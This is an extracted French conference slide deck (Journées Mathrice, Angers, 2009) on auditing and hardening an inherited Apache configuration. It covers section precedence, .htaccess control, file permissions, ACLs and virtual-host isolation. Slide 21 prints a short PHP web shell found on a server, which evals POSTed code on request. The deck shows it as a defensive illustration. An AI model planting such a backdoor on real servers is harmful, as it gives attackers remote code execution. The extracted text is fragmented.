31
Journées Mathrice - Mars 2009 - Angers 1 Jacquelin Charbonnel S'APPROPRIER UNE CONFIG APACHE Jacquelin Charbonnel Journées Mathrice d'Angers 18 mars 2009

S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers1Jacquelin Charbonnel

S'APPROPRIER UNE CONFIG APACHEJacquelin Charbonnel

Journées Mathrice d'Angers18 mars 2009

Page 2: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers2Jacquelin Charbonnel

Constat :un Apache fraîchement installé dispose d'un niveau de sécurité satisfaisantau fil du temps :

le nombre de documents croît, les webmasters sont plus nombreux => la configuration s'étoffeApache évolue => mises à jour successivesrotation des sysadmins

Question :comment s'approprier un serveur Apache en activité ?

comment évaluer le niveau de sécurité induit par la configuration en place ?comment contenir l'activité des webmasters ?

Page 3: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers3Jacquelin Charbonnel

Vocabulaire

Espace web (URL-space) : fichiers et répertoires du filesystem accessibles par HTTP

Webmaster : un compte, déclaré sur le serveur, ayant des droits d'écriture sur une partie de l'espace web (hors pages perso)

Page 4: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers4Jacquelin Charbonnel

Architecture

conf/httpd.conf

conf.d/php.confssl.conf

www/html/cgi-bin/

home/alfred/

public_html/zezette/

public_html/

usr/doc/share/

Alias

DocumentRoot

UserDir

config

Page 5: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers5Jacquelin Charbonnel

conf/httpd.conf

conf.d/php.confssl.conf

www/html/

.htaccesscgi-bin/

.htaccess

home/alfred/

public_html/.htaccess

zezette/public_html/

.htaccess

usr/doc/

.htaccessshare/

.htaccess

Alias

DocumentRoot

UserDir

config

Page 6: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers6Jacquelin Charbonnel

conf/httpd.conf

conf.d/php.confssl.conf

/.htaccessvar/

.htaccesswww/

.htaccesshtml/

.htaccesscgi-bin/

.htaccesshome/

.htaccessalfred/

.htaccesspublic_html/

.htaccesszezette/

.htaccesspublic_html/

.htaccessusr/

.htaccessdoc/

.htaccessshare/

.htaccess

config

Page 7: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers7Jacquelin Charbonnel

Sections, .htaccess

directive arguments

<section>directive argumentsdirective arguments

</section><section>

<section>directive argumentsdirective arguments

</section></section>

sections : directory, files, location, virtualhost, limit<directory /htdocs>

directive argumentsdirective arguments

</directory>

/htdocs/.htaccess :directive argumentsdirective arguments

équivalent à

Page 8: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers8Jacquelin Charbonnel

Priorité des sections

du moins au plus prioritaire1. <Directory> et .htaccess

pour un niveau donné, .htaccess prévaut sur <directory>

2. <DirectoryMatch>3. <Files> et <FilesMatch>4. <Location> et <LocationMatch>

sinon, chaque groupe identique est traité suivant l'ordre d'apparition

Page 9: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers9Jacquelin Charbonnel

Gag 1

<Location /> order deny,allow allow from all</Location>

<Directory /htdocs> order allow,deny allow from mon.domaine</Directory>

Page 10: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers10Jacquelin Charbonnel

Gag 2

Options +ExecCGI

<Directory /htdocs/xxx>Options -ExecCGI

</Directory>

/htdocs/xxx/.htaccess

Page 11: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers11Jacquelin Charbonnel

Gag 3

<Directory /htdocs>Order Allow,DenyAllow from all

</Directory>

<Directory /htdocs/.../x/.../y>Require valid-user

</Directory>

$ cat /htdocs/.../x/.htaccessSatisfy Any

Page 12: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers12Jacquelin Charbonnel

Baliser les .htaccess

<Directory /var/www/html/permissif>AllowOverride All

</Directory>

<Directory />AllowOverride None

</Directory>

AllowOverride Options=FollowSymlinksIfOwnerMatch

AccessFileName .htaccess readme

Page 13: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers13Jacquelin Charbonnel

Page 14: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers14Jacquelin Charbonnel

espace web total ≡ ∪ DocumentRoot + ∪ UserDir + ∪ Alias

vh vh sous contrôle du sysadmin

symlinkssous contrôle éventuel des webmasters

Options FollowSymlinks

Page 15: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers15Jacquelin Charbonnel

Config par défaut (tarball)

$configure --prefix /usr/local/apache$make$ grep -i '^ *include' httpd.conf$ grep -i '^ *ServerRoot' *.confServerRoot "/usr/local/apache"$ grep -i '^ *DocumentRoot' *.confDocumentRoot "/usr/local/apache/htdocs"$ grep -i '^ *UserDir' *.conf$ grep -i '^ *Alias' *.conf$ grep -i '^ *ScriptAlias' *.conf ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"

Page 16: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers16Jacquelin Charbonnel

Config par défaut (Fedora)

$ grep -i '^\s*include' httpd.conf Include conf.d/*.conf$ grep -i '^\s*ServerRoot' *.confServerRoot "/etc/httpd"$ grep -i '^\s*DocumentRoot' *.confDocumentRoot "/var/www/html"$ grep -i '^\s*UserDir' *.conf UserDir disable

$ grep -i '^\s*Alias' *.confAlias /icons/ "/var/www/icons/"Alias /error/ "/var/www/error/"$ grep -i '^\s*ScriptAlias' *.confScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

Page 17: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers17Jacquelin Charbonnel

<Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Deny from all</Directory>

<Directory "/usr/local/apache/htdocs"> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all</Directory>

<Directory "/usr/local/apache/cgi-bin"> AllowOverride None Options None Order allow,deny Allow from all</Directory>

<FilesMatch "^\.ht"> Order allow,deny Deny from all Satisfy All</FilesMatch>

Config par défaut (tarball)

Page 18: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers18Jacquelin Charbonnel

Scripts

LoadModule cgi_module modules/mod_cgi.soAddHandler cgi-script .cgi

SetInputFilterAddInputFilter SetOutputFilter AddOutputFilteAddOutputFilterByType

LoadModule php5_module modules/libphp5.soAddHandler php5-script .php

test.phptest.fr.phptest.php.frtest.php.~

Action

Page 19: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers19Jacquelin Charbonnel

Identité des process

normalement, httpd est lancé par rootle process initial reste sous l'identité root les process fils prennent l'identité User:Group

si httpd n'est pas lancé par root, il ne peut pas changer l'identité de ses fils, donc il tourne sous l'identité qui l'a lancé

Page 20: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers20Jacquelin Charbonnel

Identité des process

=> tous les scripts (SSI, CGI) tournent sous une même identité=> un script défaillant peut impacter les données générées par les scripts des autres webmasters

Page 21: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers21Jacquelin Charbonnel

$ cat tmp/cache/.dump.php<?phpif(isset($_GET['auto'])){if(isset($_POST['grammy']))eval(stripslashes($_POST['grammy']));?><form action=# method=POST><input type=text name=grammy><input type=submit></form><?php}?>

Page 22: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers22Jacquelin Charbonnel

Bannir chmod 777

Page 23: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers23Jacquelin Charbonnel

Page 24: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers24Jacquelin Charbonnel

chown : faisable que par root

Par quoi remplacer chmod 777 ?

chown apache tmp/cache

Page 25: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers25Jacquelin Charbonnel

ACL : affectées par le propriétaire du fichier

ACL

$ setfacl -m u:apache:r-x /htdocs/mathrice

$ cat /etc/fstabLABEL=htdocs /htdocs ext3 defaults,acl 1 2

$ getfacl /htdocs/mathrice# file: htdocs/mathrice# owner: root# group: rootuser::rwxgroup::r-xgroup:apache:r-xgroup:mathrice:rwxmask::rwxother::r-xdefault:user::rwxdefault:group::r-x$ ls -l-rwxr-xr-x+ 1 root root 2126 Jan 5 14:57 mathrice

Page 26: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers26Jacquelin Charbonnel

ACL

$ setfacl -m u:apache:--- /etc /home

selinux ?

Page 27: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers27Jacquelin Charbonnel

$ cat config/connect.php<?phpif (!defined("_ECRIRE_INC_VERSION")) return;$GLOBALS['spip_connect_version'] = 0.4;spip_connect_db('localhost','','login','password','db');?>

certains fichiers sensibles sont lisibles par apache

Page 28: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers28Jacquelin Charbonnel

Utiliser une identité par virtual host ?

suexec : que pour les CGI

1 user/group par vh : qu'en Apache v1

en version 2, remplacé parsuexecUserGroup : que pour CGI

Page 29: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers29Jacquelin Charbonnel

Etanchéifier les virtual hosts

1 httpd par vhavec son propre user:group sur une IP propre ou un port propre1 reverse proxy devant

#8080#8081#8082#8083Internet

vh1vh2vh3vh4

Page 30: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers30Jacquelin Charbonnel

Etanchéifier les virtual hosts

virtualiser des groupes de vh1 reverse proxy devant

Internetvh1vh2vh3vh4

vh1vh2

vh3

vh4vh5vh6

Page 31: S'APPROPRIER UNE CONFIG APACHE · 2009. 3. 20. · Jacquelin Charbonnel 2 Journées Mathrice - Mars 2009 - Angers Constat : un Apache fraîchement installé dispose d'un niveau de

Journées Mathrice - Mars 2009 - Angers31Jacquelin Charbonnel

Références

http://httpd.apache.org/docs/2.2/misc/security_tips.html

http://httpd.apache.org/docs/2.2/misc/perf-tuning.html

http://www.hsc.fr/ressources/

http://www.w3.org/Security/

Apache Security - Ivan Ristic - O'Reilly

Présentation ADF complète sur http://math.univ-angers.fr/~charbonnel